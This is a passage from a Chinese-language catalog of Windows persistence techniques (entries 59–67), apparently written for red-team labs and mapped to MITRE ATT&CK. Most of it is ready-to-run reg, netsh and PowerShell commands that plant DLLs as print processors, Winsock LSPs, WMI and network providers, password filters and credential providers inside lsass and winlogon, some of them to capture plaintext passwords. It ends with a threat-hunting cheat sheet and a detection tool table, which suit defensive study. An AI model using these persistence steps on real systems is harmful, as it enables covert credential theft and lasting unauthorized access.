copy "C:\lab\payload.dll" "C:\Windows\System32\spool\prtprocs\x64\evil_proc.dll"
:: Step 2: Register as print processor
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" /v Driver /t REG_SZ /d "evil_proc.dll" /f
:: Step 3: Restart spooler to load
net stop spooler && net start spooler
:: Verify
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"
:: Cleanup
net stop spooler
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" /f
del "C:\Windows\System32\spool\prtprocs\x64\evil_proc.dll"
net start spooler
```
## 59. Winsock LSP DLL
**TTP:** T1574 | **管理员权限:** ❌ (较旧的操作系统) / ✅ (Windows 10+) | **APT:** 自定义/红队
分层服务提供程序 —— 将 DLL 插入 Winsock 堆栈,拦截使用 Winsock 的每个进程的所有套接字层网络流量。
```
# 通过 netsh 安装 LSP
netsh winsock add provider "C:\lab\lsp_payload.dll"
# 验证已安装的 LSP
netsh winsock show catalog
# 按 catalog ID 移除(从 show catalog 输出中获取 ID)
netsh winsock remove provider
# 终极选项 — 重置整个 Winsock catalog
netsh winsock reset
```
## 60. netsh Helper DLL
**TTP:** T1574.001 | **管理员权限:** ✅ | **APT:** 自定义/红队
将 DLL 注册为 `netsh` helper —— 每次执行 `netsh.exe` 时都会被加载。`netsh` 是一个受信任的、由微软签名的二进制文件。
```
:: Register helper DLL
netsh add helper C:\lab\payload.dll
:: Verify registered helpers
netsh show helper
:: Registry path for netsh helpers
:: HKLM\SOFTWARE\Microsoft\NetSh
:: Cleanup
reg delete "HKLM\SOFTWARE\Microsoft\NetSh" /v /f
```
## 61. WMI Provider DLL
**TTP:** T1546.003 | **管理员权限:** ✅ | **APT:** APT29, Turla
将 DLL 注册为 WMI 提供程序 —— 加载到 `wmiprvse.exe` (以 SYSTEM 身份运行) 中。在针对已注册类的 WMI 查询时触发。
```
# 步骤 1:注册指向你的 DLL 的 CLSID
reg add "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f
# 步骤 2:创建并注册 MOF 文件
$mof = @"
#pragma namespace("\\\\.\\\root\\cimv2")
instance of __Win32Provider as $P
{
Name = "Evil";
CLSID = "{AABBCCDD-0000-0000-0000-000000000001}";
DefaultMachineName = NULL;
ImpersonatorCLSID = NULL;
InitializationReentrancy = 0;
PerUserInitialization = FALSE;
Pure = TRUE;
UnloadTimeout = NULL;
};
instance of __InstanceProviderRegistration
{
Provider = $P;
SupportsPut = TRUE;
SupportsGet = TRUE;
SupportsDelete = TRUE;
SupportsEnumeration = TRUE;
};
"@
$mof | Out-File "C:\lab\evil_provider.mof" -Encoding ASCII
mofcomp.exe C:\lab\evil_provider.mof
# 验证
reg query "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}"
# 清理
$mofRemove = "#pragma namespace(`"\\\\.\\\root\\cimv2`")`n#pragma deleteclass(`"EvilClass`", NOFAIL)"
$mofRemove | Out-File "C:\lab\remove.mof" -Encoding ASCII
mofcomp.exe C:\lab\remove.mof
reg delete "HKLM\SOFTWARE\Classes\CLSID\{AABBCCDD-0000-0000-0000-000000000001}" /f
```
## 62. 网络提供程序 DLL
**TTP:** T1556.008 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group
将 DLL 注册为 Windows 网络提供程序 —— 在启动时加载到 `lsass.exe` 中。在所有登录事件期间被调用;可以明文形式捕获凭据。需要重启。
```
:: Step 1: Register network provider service
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP" /v Type /t REG_DWORD /d 32 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v Name /t REG_SZ /d "EvilNP" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v ProviderPath /t REG_EXPAND_SZ /d "C:\lab\payload.dll" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP\NetworkProvider" /v Class /t REG_DWORD /d 2 /f
:: Step 2: Check current provider order first
reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder
:: Step 3: Append EvilNP to provider order
reg add "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder /t REG_SZ /d "RDPNP,LanmanWorkstation,webclient,EvilNP" /f
:: Verify
reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
:: Cleanup
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\EvilNP" /f
:: Restore ProviderOrder to original value (remove EvilNP entry)
```
## 63. 密码过滤器 DLL (SAM)
**TTP:** T1556.002 | **管理员权限:** ✅ | **APT:** APT28, Lazarus Group
将 DLL 注册为密码更改通知过滤器 —— 永久加载到 `lsass.exe` 中。在每次密码更改事件时接收**明文**密码。
```
:: Step 1: Copy DLL to System32 (no path in registry — loaded from System32)
copy "C:\lab\payload.dll" "C:\Windows\System32\passfilt_evil.dll"
:: Step 2: Check current Notification Packages value
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
:: Step 3: Append your DLL name (no extension) to existing value
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0passfilt_evil" /f
:: Takes effect after reboot
:: Verify
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
:: Cleanup
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli" /f
del "C:\Windows\System32\passfilt_evil.dll"
```
## 64. WinRT DLL 激活 (HKCU)
**TTP:** T1574.002 | **管理员权限:** ❌ | **APT:** 自定义/红队
覆盖 HKCU 中的 WinRT (Windows 运行时) 可激活类 DLL 路径 —— 不需要管理员权限。在现代/UWP 应用程序激活目标类 (例如 Toast 通知) 时触发。
```
# 目标为频繁触发的 WinRT 类
$className = "Windows.UI.Notifications.ToastNotificationManager"
reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v DllPath /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v Threading /t REG_DWORD /d 3 /f
reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v TrustLevel /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /v ActivationType /t REG_DWORD /d 1 /f
# 验证
reg query "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className"
# 清理
reg delete "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId\$className" /f
```
## 65. 凭据提供程序 DLL
**TTP:** T1547.004 | **管理员权限:** ✅ | **APT:** APT28, Turla
将 DLL 注册为 Windows 凭据提供程序 —— 在桌面加载之前,加载到登录屏幕的 `winlogon.exe` 中。可以拦截所有用户凭据输入。
```
:: Step 1: Copy DLL to System32
copy "C:\lab\payload.dll" "C:\Windows\System32\evil_cp.dll"
:: Step 2: Register the Credential Provider CLSID
reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}" /ve /t REG_SZ /d "EvilCP" /f
reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}\InprocServer32" /ve /t REG_SZ /d "evil_cp.dll" /f
reg add "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
:: Step 3: Register it as a Credential Provider
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{EVILCP01-0000-0000-0000-000000000001}" /ve /t REG_SZ /d "EvilCP" /f
:: Verify installed providers
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers"
:: Cleanup
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{EVILCP01-0000-0000-0000-000000000001}" /f
reg delete "HKLM\SOFTWARE\Classes\CLSID\{EVILCP01-0000-0000-0000-000000000001}" /f
del "C:\Windows\System32\evil_cp.dll"
```
## 66. Shell 扩展 DLL (上下文菜单)
**TTP:** T1574.001 | **管理员权限:** ❌ | **APT:** Turla, APT28
在 HKCU 中将 DLL 注册为 shell 上下文菜单处理程序 —— 每当用户右键单击任何文件时,都会加载到 `explorer.exe` 中。不需要管理员权限;HKCU 会覆盖 HKLM。
```
$guid = "{SHELLEXT-1337-1337-1337-SHELLEXT13370}"
# 为所有文件 (*) 注册上下文菜单处理程序
reg add "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu" /ve /t REG_SZ /d $guid /f
reg add "HKCU\Software\Classes\CLSID\$guid" /ve /t REG_SZ /d "EvilShellExt" /f
reg add "HKCU\Software\Classes\CLSID\$guid\InprocServer32" /ve /t REG_SZ /d "C:\lab\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\$guid\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
# 可选:thumbnail handler — 在打开包含 PDF 文件的文件夹时触发
reg add "HKCU\Software\Classes\.pdf\shellex\{E357FCCD-A995-4576-B01F-234630154E96}" /ve /t REG_SZ /d $guid /f
# 批准扩展(Windows 10+ 需要)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v $guid /t REG_SZ /d "EvilShellExt" /f
# 验证
reg query "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu"
# 清理
reg delete "HKCU\Software\Classes\*\shellex\ContextMenuHandlers\EvilMenu" /f
reg delete "HKCU\Software\Classes\CLSID\$guid" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v $guid /f
```
## 67. DiagTrack DLL 劫持
**TTP:** T1574.002 | **管理员权限:** ❌ | **APT:** 自定义/红队
滥用 DiagTrack (Windows 遥测) 扩展路径 —— 将与预期插件名称匹配的 DLL 投放到用户可写的 Diagnostics 目录中。在遥测收集事件时触发。
```
# 步骤 1:检查哪些 DiagTrack 路径存在且为用户可写
$diagPaths = @(
"$env:ProgramData\Microsoft\Diagnosis\ETLLogs",
"$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic",
"$env:APPDATA\Microsoft\Diagnosis"
)
foreach ($p in $diagPaths) {
if (Test-Path $p) { Write-Host "[EXISTS] $p" -ForegroundColor Yellow }
}
# 步骤 2:在可写路径中释放带有 DiagTrack plugin 名称的 DLL
Copy-Item "C:\lab\payload.dll" "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll"
# 步骤 3:注册扩展路径(HKCU — 无需管理员)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack" /v ExtensionDll /t REG_SZ /d "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll" /f
# 验证
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack"
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack" /v ExtensionDll /f
Remove-Item "$env:LOCALAPPDATA\Microsoft\Windows\Diagnostic\DiagPackage.dll"
```
## 威胁狩猎备忘单
```
# === 启动 / RUN 键 ===
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-CimInstance Win32_StartupCommand | Select Name, Command, Location, User
# === 计划任务 ===
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" } | Format-Table TaskName, TaskPath, State
schtasks /query /fo LIST /v | findstr /i "system"
Get-ChildItem "C:\Windows\System32\Tasks\" -Recurse -File | Where-Object { $_.FullName -notlike "*Microsoft*" }
# === WINLOGON ===
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
# === IFEO ===
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
# === 服务 ===
Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select Name, DisplayName, Status
sc qc FakeSvc
# === WMI 订阅 ===
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
# === BITS 作业 ===
bitsadmin /list /allusers /verbose
# === APPINIT DLLs ===
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs
# === LSA / SSP ===
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
# === AMSI PROVIDERS ===
reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers"
# === 网络提供程序 ===
reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s | findstr /i "NetworkProvider"
# === COM / HKCU 覆盖 ===
reg query "HKCU\Software\Classes\CLSID" /s
# === COR_PROFILER ===
reg query "HKCU\Environment" /v COR_PROFILER_PATH
reg query "HKCU\Environment" /v COR_ENABLE_PROFILING
# === 打印处理器 ===
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"
# === SHELL 扩展 ===
reg query "HKCU\Software\Classes\*\shellex\ContextMenuHandlers"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved"
# === 凭据提供程序 ===
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers"
# === WINSOCK LSP ===
netsh winsock show catalog
# === NETSH HELPERS ===
netsh show helper
# === WINRT ACTIVATION ===
reg query "HKCU\SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId"
# === 可疑 REG 键(混淆 loader) ===
reg query "HKCU\Software\Microsoft\WindowsUpdate"
reg query "HKCU\Software\Microsoft\Sync"
reg query "HKCU\Software\Microsoft\EdgeUpdate"
reg query "HKCU\Software\Microsoft\Cfg"
# === POWERSHELL PROFILE ===
cat "$HOME\Documents\WindowsPowerShell\profile.ps1"
# === 用户 ===
net user
net localgroup "Administrators"
```
## 检测工具参考
| 工具 | 用途 |
|------|-----|
| **Autoruns (Sysinternals)** | 完整的持久化枚举 —— 黄金标准 |
| **Process Monitor** | 实时注册表/文件写入检测;寻找幽灵 DLL 劫持机会 |
| **Sysmon** | 记录进程创建、注册表更改、DLL 加载、网络连接 |
| **Get-CimInstance** | 基于 PowerShell 的 WMI 枚举 |
| **bitsadmin /list** | BITS 作业枚举 |
| **wmic startup** | 启动项枚举 (旧版) |
| **netsh winsock show catalog** | LSP DLL 枚举 |
| **netsh show helper** | netsh helper DLL 枚举 |
标签:AI合规, APT攻击, Cloudflare, DAST, IT安全, MITRE ATT&CK, Windows持久化, 嗅探欺骗, 威胁情报, 子域名枚举, 安全培训, 安全攻防, 客户端加密, 开发者工具, 恶意软件分析, 攻击溯源, 数据展示, 权限维持, 注册表劫持, 系统安全, 红队, 网络安全, 自启动项, 计划任务, 隐私保护, 黑客技术